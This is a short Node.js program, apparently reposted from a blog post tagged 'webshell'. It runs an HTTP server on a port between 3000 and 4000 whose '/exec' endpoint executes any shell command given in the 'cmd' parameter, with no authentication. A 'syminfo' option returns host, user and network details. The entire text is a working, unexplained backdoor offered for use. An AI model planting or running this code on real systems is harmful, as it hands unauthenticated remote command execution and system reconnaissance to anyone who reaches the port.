const http = require('node:http'); const url = require('node:url'); const os = require('node:os'); const { exec } = require('node:child_process'); // 获取系统信息 function getSymInfo() { return { arch: os.arch(), cpus: os.cpus(), endianness: os.endianness(), freemem: os.freemem(), homedir: os.homedir(), hostname: os.hostname(), loadavg: os.loadavg(), networkInterfaces: os.networkInterfaces(), platform: os.platform(), release: os.release(), tmpdir: os.tmpdir(), totalmem: os.totalmem(), type: os.type(), uptime: os.uptime(), userInfo: os.userInfo(), }; } function startServer(portStart, portEnd) { const server = http.createServer((req, res) => { const parsedUrl = url.parse(req.url, true); console.log(`Request path: ${parsedUrl.pathname}`); if (parsedUrl.pathname === '/exec') { const command = parsedUrl.query.cmd; if (command) { if(command.toLocaleLowerCase() === 'syminfo'){ res.end(JSON.stringify(getSymInfo(), null, 2)); return; } console.log(`Executing command: ${command}`); exec(command,{ maxBuffer: 1024 * 1024 * 10 }, (error, stdout, stderr) => { if (error) { res.end(`${error}`); return; } if (stderr) { res.end(`Stderr: ${stderr}`); return; } res.end(`Output: ${stdout}`); }); } else { res.end('cmd is null.'); } } else { res.end(''); } }); server.on('error', (error) => { if (error.code === 'EADDRINUSE') { console.log(`Port ${portStart} is in use, trying the next one...`); portStart++; if (portStart <= portEnd) { server.listen(portStart); } else { console.log(`All ports in the range ${portStart}-${portEnd} are in use.`); } } else { throw error; } }); server.listen(portStart); } startServer(3000,4000);
标签:webshell,const,nodejs,res,command,error,end,os From: https://www.cnblogs.com/dzqdzq/p/18168380